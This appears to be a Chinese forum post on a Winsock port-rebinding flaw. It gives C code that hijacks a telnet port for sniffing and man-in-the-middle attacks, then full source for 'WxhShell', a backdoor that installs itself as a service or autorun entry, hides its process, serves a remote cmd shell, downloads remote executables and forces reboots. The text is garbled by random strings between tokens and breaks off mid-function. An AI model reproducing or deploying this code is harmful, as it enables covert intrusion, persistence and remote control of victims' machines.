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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )HE yTHLtJ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "YZ`g}sG ~h.B\Sc]Q saddr.sin_family = AF_INET; bhYaG i0 y~[So ,G saddr.sin_addr.s_addr = htonl(INADDR_ANY); _m-r}9au
jT0fF bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D1k] XrF9*>ti? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 P.7B]&T6 lU&IS?^? 这意味着什么?意味着可以进行如下的攻击: ii scm\ i[n1}E.@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S3fBZIPp /#5ZP\e 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) JN!YRcj Bnv%W4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R4;6Oi) 39CPFgi<l* 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 zYsGI<4 q[ZYlF,Ho 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }J`Gm j!rz@Y3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )-oNy-YL Sm5"Q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ZAwl,N){ w@We,FUJN #include j!dklQh0 #include \ZH=$c*W #include 8%Lg)hvl #include 7Cjrh"al" DWORD WINAPI ClientThread(LPVOID lpParam); J)]W[Nk int main() d8 po`J#nb { ZW"J]"A WORD wVersionRequested; NKws;/u DWORD ret; ImVe71mh WSADATA wsaData; ^;d;b< BOOL val; /_8V+@im SOCKADDR_IN saddr; G39t'^ZK*# SOCKADDR_IN scaddr; v\vn}/>*d int err; VM`."un] SOCKET s; dXhV]xK SOCKET sc; aHw VoT int caddsize; KAZz)7 HANDLE mt; <U*d
DWORD tid; 8z&9 wVersionRequested = MAKEWORD( 2, 2 ); s0SB!-Vjm err = WSAStartup( wVersionRequested, &wsaData ); A6VkVJZx if ( err != 0 ) { >e%Po,Fg$ printf("error!WSAStartup failed!\n"); <V{BRRx return -1; QHK$ } YeVhWPn@ saddr.sin_family = AF_INET; joq
;N]S k?,g:[4! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,bJx|
K &*iiQ3 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); tp7fmn* saddr.sin_port = htons(23); Uka4iya if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Qi M>59[ { 81&!!qhfS printf("error!socket failed!\n"); i2DR}%U return -1; )? xg=o/? } I
g`#U~ val = TRUE; -zt\weqA //SO_REUSEADDR选项就是可以实现端口重绑定的 G>j/d7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f
36rU { dO2cgY} printf("error!setsockopt failed!\n"); EHOdst return -1; S1."2AxO } 4b)xW&K{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lc^%:#@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +x`tvo //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lU?"\m 1EN5ZN, if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p w,.*N3P { u[% #/ ret=GetLastError(); shD$,!
k printf("error!bind failed!\n"); |Z<adOg return -1; *+G K?Ga } V}( "8L listen(s,2); S9.jc@#.` while(1) 7W*OyH^ { (L\tp>
E- caddsize = sizeof(scaddr); D4G{= Y}G //接受连接请求 C9fJLCufC sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3jQ
|C= if(sc!=INVALID_SOCKET) nv={.H { Y9Pb mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !vU[V,~
if(mt==NULL) =LC5o2bLy { = #`FXO1C printf("Thread Creat Failed!\n"); Q{%ow:;s* break; lm+wjhkN } .p&M@h
w } /w|YNDA]j CloseHandle(mt); yfU1;MI } |1neCP@ng closesocket(s); E^rN) WSACleanup(); zw0p} return 0; ka (xU#; } 3cnsJV] DWORD WINAPI ClientThread(LPVOID lpParam) Xd4~N: { D=8=wT2< SOCKET ss = (SOCKET)lpParam; uaS?y1:c SOCKET sc; N7NK1<vw2 unsigned char buf[4096]; $h2h&6mH SOCKADDR_IN saddr; !({[^[! long num; %T&kK2d; DWORD val; f}fM%0/5 DWORD ret; bv+PbK]iO //如果是隐藏端口应用的话,可以在此处加一些判断 g}f@8;TY //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 <|{=O9 saddr.sin_family = AF_INET; x[_+U4-/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ft07>E$/Q^ saddr.sin_port = htons(23); 0g1uM:; if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]`lTkh { O)hNHIF printf("error!socket failed!\n"); iM\W"OUl[ return -1; RW3&]l= } s}5;)>3~@ val = 100; B${Q Y)t if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RSp=If+4 { rTx]%{ ret = GetLastError(); >OQ<wO6 return -1; ETmfy}V8 } DCHU=r if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bkV_ ^8 { z 6p.{M ret = GetLastError();
Eg
;r]?|6 return -1; VlKWWQj } O)&V}hU* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z/%>/ { m~2PpO printf("error!socket connect failed!\n"); T8v>J4@t closesocket(sc); 1>n@`M8} closesocket(ss); IF<jq\M return -1; -?j'<g0 } tFG&~tNc while(1) >1W)J3 { ,}J(& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q>,i `* //如果是嗅探内容的话,可以再此处进行内容分析和记录 y3d`$'7H> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C}7Sh6 num = recv(ss,buf,4096,0); JVN0];IL} if(num>0) xgfK0-T|[ send(sc,buf,num,0); 6L8wsz CW else if(num==0) 0DGXMO$; break; T$SGf.- num = recv(sc,buf,4096,0); }LOAT$]XI if(num>0) Lb(=:Z!{ send(ss,buf,num,0); B%[Yu3gBo else if(num==0) [/'W#x break; h/5.>[VwDh } f`T#=6C4| closesocket(ss); +dlN^P647 closesocket(sc); |'.\}xt7 return 0 ; r q>@0i } QO~!S_FRH h^cM#L^B m$ "B=b2 ========================================================== g%Eb{~v 0ZTT^2R 下边附上一个代码,,WXhSHELL y%f'7YZ4 T$!.
:v ========================================================== af.yC[ 67^?v)| #include "stdafx.h" N_wB WS4Ja$* #include <stdio.h> L2+~I<|> #include <string.h> }qxwNmx #include <windows.h> 6V W&An[6r #include <winsock2.h> +hGr2%*0f #include <winsvc.h> IvO#tI #include <urlmon.h> Tw8$6KUW g6MK~JG$?h #pragma comment (lib, "Ws2_32.lib") )ui]vS:> #pragma comment (lib, "urlmon.lib")
eqV;4dhm `5:b=^'D/ #define MAX_USER 100 // 最大客户端连接数 RAPR-I;{ #define BUF_SOCK 200 // sock buffer x= X"4Mj0) #define KEY_BUFF 255 // 输入 buffer (/JiOg^cw uS;N&6;: #define REBOOT 0 // 重启 ^Yul|0*J #define SHUTDOWN 1 // 关机 zr2oU '+ yCpU173V #define DEF_PORT 5000 // 监听端口 wX[g\,?}' IBZ_xU\2 #define REG_LEN 16 // 注册表键长度 ,:;ZzHzR0 #define SVC_LEN 80 // NT服务名长度 ?`8jn$W^ f<?v.5($ // 从dll定义API MDAJ
p>o typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;Lr]w8d typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B^nE^"b typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m5`<XwD9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fgdqp8~ 5 Sl vCL // wxhshell配置信息 BS!VAHO"V struct WSCFG { \xR1|M int ws_port; // 监听端口 b*(74 >XY char ws_passstr[REG_LEN]; // 口令 E+)3n[G int ws_autoins; // 安装标记, 1=yes 0=no ;LD!eWSK, char ws_regname[REG_LEN]; // 注册表键名 5o2w)<d! char ws_svcname[REG_LEN]; // 服务名 @~sJ
((G[5 char ws_svcdisp[SVC_LEN]; // 服务显示名 bi~1d"j char ws_svcdesc[SVC_LEN]; // 服务描述信息 }hRw{#*8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ozB2L\D7 int ws_downexe; // 下载执行标记, 1=yes 0=no 9vZ:oO char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" =#0f4z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F=EG#<@u juIi-*R! }; OXp(rJ*bK hh#p=Y(f // default Wxhshell configuration 9X/]O<i,Es struct WSCFG wscfg={DEF_PORT, Kjzo>fIC{ "xuhuanlingzhe", PUcxlD/a} 1, "RcNy~ "Wxhshell", i24t$7q "Wxhshell", eCFMWFhC "WxhShell Service", maTQ0GX "Wrsky Windows CmdShell Service", >\[/e{Q" "Please Input Your Password: ", ;S0Kf{DN2 1, JCFiKt9n " http://www.wrsky.com/wxhshell.exe", Dk%+|c "Wxhshell.exe" }l"pxp1K }; Ui|z#{8& }ff+RGxLIG // 消息定义模块 *be"$Q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Opavno%& char *msg_ws_prompt="\n\r? for help\n\r#>"; ?`hA :X< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; M47t(9krV char *msg_ws_ext="\n\rExit."; Zo`_vx/{j char *msg_ws_end="\n\rQuit."; ]sLdz^E3D char *msg_ws_boot="\n\rReboot..."; P_}wjz}9ZX char *msg_ws_poff="\n\rShutdown...";
w#}[=jy char *msg_ws_down="\n\rSave to "; uo`zAKM&A "rA-u)Te char *msg_ws_err="\n\rErr!"; '9u(9S char *msg_ws_ok="\n\rOK!"; !{q_Q ! z_f^L %J0 char ExeFile[MAX_PATH]; D| |)H int nUser = 0; FdGnNDl*e HANDLE handles[MAX_USER]; ?mwa6] int OsIsNt; Y#[xX2z9 D,\hRQ SERVICE_STATUS serviceStatus; T_)G 5a SERVICE_STATUS_HANDLE hServiceStatusHandle; *(E]]8o )s N}ClgJ // 函数声明 0uL*-/| int Install(void); _$+BYK@ int Uninstall(void); gx9=L&=d int DownloadFile(char *sURL, SOCKET wsh); 8B!MgNKV int Boot(int flag); |W*#N8IP void HideProc(void); ?`T Q'#P` int GetOsVer(void); mRO@ZY;5 int Wxhshell(SOCKET wsl); "*<)pnJ void TalkWithClient(void *cs); G,!{Q''w int CmdShell(SOCKET sock); G,e!!J int StartFromService(void); YJGP8 int StartWxhshell(LPSTR lpCmdLine); otA'+4\ G4rd<V0[D VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^u(-v/D9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); " %
l`` [>D5(O // 数据结构和表定义 |"g+p)A SERVICE_TABLE_ENTRY DispatchTable[] = IN_O!c0e { Z H2 {wscfg.ws_svcname, NTServiceMain}, }2h! {NULL, NULL} ~^bf1W[ }; BdrYc^?JL] x3:d/>b // 自我安装 ZiW&*nN?M
int Install(void) i^@hn>s$ { |@5G\N - char svExeFile[MAX_PATH]; `*WzHDv5p HKEY key; IY
hwFw
5O strcpy(svExeFile,ExeFile); hx! :F"# NY?pvb // 如果是win9x系统,修改注册表设为自启动 'i<%kL@ if(!OsIsNt) { &'k:?@J[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,Cd4Q7T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O1Ynl`} RegCloseKey(key); }Gva=N: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +#L'gc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8.HJoos RegCloseKey(key); J@A^k1B return 0; Qe =8x7oIP } |G)P
I`BH } ;b}cn!U] } l}@C'Np else { !Qq~lAJO; Lb#PiTJI // 如果是NT以上系统,安装为系统服务 -HF1c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `-MCI)Fq_R if (schSCManager!=0) &o]fBdn { cJ\1ndBH SC_HANDLE schService = CreateService vRb7=fXf ( lWDSF]ZYV schSCManager, }Te+Rv7{E wscfg.ws_svcname, 'w0?- wscfg.ws_svcdisp, (&-I-#i SERVICE_ALL_ACCESS, eus@;l* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MU4BAN SERVICE_AUTO_START, 87F]a3 SERVICE_ERROR_NORMAL, e=+q*]> svExeFile, tzY?LX[3 NULL, r 6&+pSA> NULL, @^%YOorr NULL,
_7b4+ L NULL, h.\p+Qw. NULL a4XK.[O ); MoXai0d% if (schService!=0) jX.'G { YZAQt*x CloseServiceHandle(schService); <qVOd.9c CloseServiceHandle(schSCManager); b/_u\R
]-' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kzVK%[/ strcat(svExeFile,wscfg.ws_svcname); &oE'|^G if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {113B) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;{Yr| RegCloseKey(key); /.(~=6o5 return 0; !$/P8T``M } 7pN&fAtj/ }
3L-$+j~u CloseServiceHandle(schSCManager); 'Z|Czd8E } ^U);MH8 } O;$}j:;KF <kJ`qbOU return 1; |9Y~k,rF } y7,t"XV L#WGOl // 自我卸载 "EVf1iQ int Uninstall(void) &;RBG$t { pd|l&xvka HKEY key; - _~\d+>w /i
if(!OsIsNt) { kkJ8xyO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PzT@q\O RegDeleteValue(key,wscfg.ws_regname); --k!KrL RegCloseKey(key); :Dfl ,=S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x_9#:_S' RegDeleteValue(key,wscfg.ws_regname); lt yhYPS RegCloseKey(key); s)Xz}QPK. return 0; ']d(m? } o=-Af|#b } 2*V]jO } !?sB=qo else { >`|Wg@_ <?:h(IZe[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hOYX if (schSCManager!=0) <nK@+4EH"o { ~.#57g F" SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _bRgr if (schService!=0) a5(9~.9 { Z{gDEo) if(DeleteService(schService)!=0) { |WNI[49 CloseServiceHandle(schService); T)tTzgLD} CloseServiceHandle(schSCManager); t~$8sG\ return 0; ^)o]hE| } @V&HE:P CloseServiceHandle(schService); _Ea1;dJmq } IpM"k)HR CloseServiceHandle(schSCManager); )NTpb } XjmAM/H4 } Nrq/Pkmy A"0Yn(awWu return 1; D~TlG@Pq } v?}rA %so ;&!QN#_ // 从指定url下载文件 0b<Qs88yd> int DownloadFile(char *sURL, SOCKET wsh) e(FT4KD~ { >p`i6_P0P/ HRESULT hr; \=$G94% char seps[]= "/"; aiZZz1C char *token; 7V5kYYR^F char *file; ,Y16m{<eC char myURL[MAX_PATH]; \tA@A char myFILE[MAX_PATH]; "yl6WG#J BqpJvRJd strcpy(myURL,sURL); 1(Z+n,Hh token=strtok(myURL,seps); _n4_;0 while(token!=NULL) ulk/I-y {
C+_UIx]A file=token; ~Q]/=HK token=strtok(NULL,seps); @i#=1)Ze } fhha-J 9yu#G7 GetCurrentDirectory(MAX_PATH,myFILE); 7UqDPEXU]` strcat(myFILE, "\\"); !Q,Dzv"7 strcat(myFILE, file); jthyZZ send(wsh,myFILE,strlen(myFILE),0); R%\<al$O send(wsh,"...",3,0); :G=ol2Q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ks,d4b=-> if(hr==S_OK) =>&~p\Aw return 0; ezhfKt]j else `=kiqF2P} return 1; <e wcWr ,Ww.W'#P } k4!p))ql uLfk>&hc // 系统电源模块 (Zej\lEN int Boot(int flag) $O fZp<M { +:/.\3v71 HANDLE hToken; {$7vd TOKEN_PRIVILEGES tkp; aU$8 0 J<9})
m if(OsIsNt) { K.}jyhKIKi OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +x?8\
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e?\hz\^ tkp.PrivilegeCount = 1; .eCUvX`$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
8hMy$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {@'#|]4y. if(flag==REBOOT) { j9}.U \ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DD6K[\ return 0; Ax9A-| } %][zn$aa| else { H1
i+j;RN if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n:}'f-
:T return 0; [vnxp/v/< } $ dKo} } hD,xJ]zv1 else { :#UA!|nV if(flag==REBOOT) { @# .a5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZfS" return 0; [L
} {>Qs+] else { R#ya9GN{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w3Dqpo8E return 0; 461p 4) } r90R~'5x9 } Q:]v4/MT #BIY[{! return 1; I=k`VI d: } i}C%`1+( uzT>|uu$ // win9x进程隐藏模块 vs*@)'n0 } void HideProc(void) $
\ I|6[P { Fn;Gq-^7@ *[b~2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p0pA| if ( hKernel != NULL ) &qm:36Y7Xg { D)eRk0iC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )+a]M1j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .Txwp?}; FreeLibrary(hKernel); g7K<"Z {M } v2>Dn=V ahw0}S return; ASr3P5/ } VS+5{w:t {InW%qSn_ // 获取操作系统版本 rTeADu_vf int GetOsVer(void) oXGP6# { lH>6;sE OSVERSIONINFO winfo; rU7t~DKS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p49T3V GetVersionEx(&winfo); >yr3C if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B_0]$D0
^ return 1; ;Y$d!an0 else "IoY$!Hk return 0; S@C"tHD
} ^bXCYkx WZ
,t~TN // 客户端句柄模块 OJ}aN>k int Wxhshell(SOCKET wsl) vpu
{ /gE9 W SOCKET wsh; o%v,6yv struct sockaddr_in client; PML84*K - DWORD myID; TK#-;p_ )h;zH,DA[3 while(nUser<MAX_USER) zfUkHL6 { eRIdN(pP int nSize=sizeof(client); liVDBbS_A? wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .%mjE' if(wsh==INVALID_SOCKET) return 1; _P{v=`]Eu 5$
rV0X,O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b/eo]Id ] if(handles[nUser]==0) 20mZ{_% closesocket(wsh); $dHD else ~Nl`Zmn(A| nUser++; bqUQadDB } IeJ@G) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l, 1.6
&/lmg!6 return 0; ,
-S n } O}"fhMk hin6cac // 关闭 socket 7=]Y7"XCf void CloseIt(SOCKET wsh) |}K7Q { }ilX
2s?> closesocket(wsh); M.}QXta nUser--; ki|w?0s ExitThread(0); aV?r %'~Z } vghn+P8 [0hZg // 客户端请求句柄 \)9R1zp/x void TalkWithClient(void *cs) XY`2>7 { }sS1p6z <2RxyoDL6 SOCKET wsh=(SOCKET)cs; ~b{j`T char pwd[SVC_LEN]; 7q: char cmd[KEY_BUFF]; ;:pd/\< char chr[1]; f*~z| int i,j; nzORG &g-uQBQI# while (nUser < MAX_USER) { _i{4 4zE @;@Wt`(2a if(wscfg.ws_passstr) { EM.rO/qcW if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MOW {g\{\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ._z[T@!9 //ZeroMemory(pwd,KEY_BUFF); XG}pp`{o i=0; >zAI#N4 while(i<SVC_LEN) { EaGS}=qY5 m=2e1wc // 设置超时 v;@-bED(Qs fd_set FdRead; 4\yKd8I struct timeval TimeOut; 7'xds FD_ZERO(&FdRead); #`H^8/!e FD_SET(wsh,&FdRead); c F(]`49( TimeOut.tv_sec=8; Z;JZ<vEt92 TimeOut.tv_usec=0; tY=n("=2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1"CbuV
6 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r3b~|O^} W=~H_L?/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'u2Qq"d+ pwd =chr[0]; -m~[z if(chr[0]==0xd || chr[0]==0xa) { %lU$;cY pwd=0; cAc i2e break; ]jzINaMav } r8~U@$BBK i++; TY|]""3f9 } ,uP1U@Cas t%AW0#TZ // 如果是非法用户,关闭 socket VmB/X)) if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xf@D<}~1 } ?Y~>H2 (Rk g send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E
2DTE send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !2N#H~{ 6X:-Z3 while(1) { y*6r&989 }r/L 9 ZeroMemory(cmd,KEY_BUFF); E}qeh"sJt pDlh^?cux // 自动支持客户端 telnet标准 ?^&!/, j=0; !+H=e>Y6 while(j<KEY_BUFF) { z@ A5t4+3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Va*Uwy?x/) cmd[j]=chr[0]; cF vGpZ if(chr[0]==0xa || chr[0]==0xd) { bh7 1Zu cmd[j]=0; T.`%1S break; 3UN Jj&-` } qo.
6T j++; 0|^x[dh } 9I.v?Tap Bxa],inuZ // 下载文件 8v]{ 5 if(strstr(cmd,"http://")) { =v;-{oN! send(wsh,msg_ws_down,strlen(msg_ws_down),0); s9 E:6 if(DownloadFile(cmd,wsh)) Le3S;SY& send(wsh,msg_ws_err,strlen(msg_ws_err),0); }lxvXVc{I
else
HK[sHB& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U<6k!Y9ny } lP9I\Ge& else { D 1hKjB& ~y|%D; switch(cmd[0]) { k Lv_P[I /e7'5#v // 帮助 yZ!Eu#81 case '?': { uRL3v01?H0 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %cm5Z^B1" break; Bw#ubQJ8} } M5x!84 // 安装 SY$%!!
@R case 'i': { eh`V#%S= if(Install()) H_AV 3
; send(wsh,msg_ws_err,strlen(msg_ws_err),0); D1j7iv else .nSupTyG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?\O+#U%W break; n7MS{` } v =?V{"wk! // 卸载 W?l .QQk case 'r': { KOmP-q=6 if(Uninstall()) mhVoz0%1X send(wsh,msg_ws_err,strlen(msg_ws_err),0); G/8xS= else ZK
?x_`w send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -E500F*b break; Y(:OfC? } 3w9
]@kU // 显示 wxhshell 所在路径 V?O%k d case 'p': { h#n8mtt&i char svExeFile[MAX_PATH]; !}PFi T^ strcpy(svExeFile,"\n\r"); z67=v9+7 strcat(svExeFile,ExeFile); <zf+Ii1:, send(wsh,svExeFile,strlen(svExeFile),0); I|j tpv} break; vV[dJ% } dq8 /^1P // 重启 &S3W/lQs case 'b': { *M|\B|A. send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <bx9;1C>zd if(Boot(REBOOT)) i]53A0l send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?V{k\1A else { `HM3YC closesocket(wsh); 5i/E=D ExitThread(0); YDNqWP7s } XsOOkf\_ break; VBX#
!K1Q } r9M={jC // 关机 lz)"zV case 'd': { //
}8HY)> send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UC1!J
=f if(Boot(SHUTDOWN)) UTTC:=F+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); yo*iv+l else { Z0=m:h closesocket(wsh); YSV,q@I&1 ExitThread(0); bJ|?5 } z/YMl3$l~ break; O&,O:b:@ } ^)q2\YE; // 获取shell mei_aN7zW case 's': { lkfFAwnc CmdShell(wsh); ^-IsK#r.k closesocket(wsh); "k-ov9yK ExitThread(0); %]ayW$4 break; d# 3tQ*G/ } S/-7Zo&w+ // 退出 4*vas]
case 'x': { ,0Zn hS)kq send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ys$YI{ CloseIt(wsh); zcB2[eaV break; Q$)|/Y)) } #Q3PzDfj // 离开 Tdwwtbe case 'q': { I/Jp,~JT* send(wsh,msg_ws_end,strlen(msg_ws_end),0); B#aH\$_U closesocket(wsh); u`pROd/ R5 WSACleanup(); HJ qQlEq exit(1); ;a#*|vx break; dPx<Dz; } v1r_Z($ } =u8D!AxT } Iz)hz9k JblmXqtC // 提示信息 YvruK:I if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ch>Vv"G> } hoR=%pC* } 5w3 ZUmjO "]m*816' return; *sw-eyn( } VkpHzr[k iS"8X#[]N // shell模块句柄 Px?Ao0)Z, int CmdShell(SOCKET sock) YN@6}B#1 { rer|k<k;]G STARTUPINFO si; poD\C;o" ZeroMemory(&si,sizeof(si)); [8@kx Cq si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T|@#w%c'' si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1s`)yu^`v PROCESS_INFORMATION ProcessInfo; %l}Q?Z char cmdline[]="cmd"; f<89$/w CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nlzW.OLM return 0; -@2'I++"@ } vUYJf99B H#L#2M% // 自身启动模式 S<nP80C int StartFromService(void) EqnpMHF {
)C
{h1
` typedef struct dk_,YU'z { +2DE/wE]e+ DWORD ExitStatus; fw' r. DWORD PebBaseAddress; cJ(BiL-uF DWORD AffinityMask; @P:R~m2 DWORD BasePriority; mX&xn2}qZ" ULONG UniqueProcessId; ATXF,o1 ULONG InheritedFromUniqueProcessId; ^/>Wr'w } PROCESS_BASIC_INFORMATION; 6F`qi:a+ k6Ihc?HL PROCNTQSIP NtQueryInformationProcess; $n= O (kIz static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mG)8U{L static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TDlZ!$g( 99e*]')A% HANDLE hProcess; X JY5@I. PROCESS_BASIC_INFORMATION pbi; {-@~Q.&}v upypxC HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P:sAqvH6 if(NULL == hInst ) return 0; nr OqH
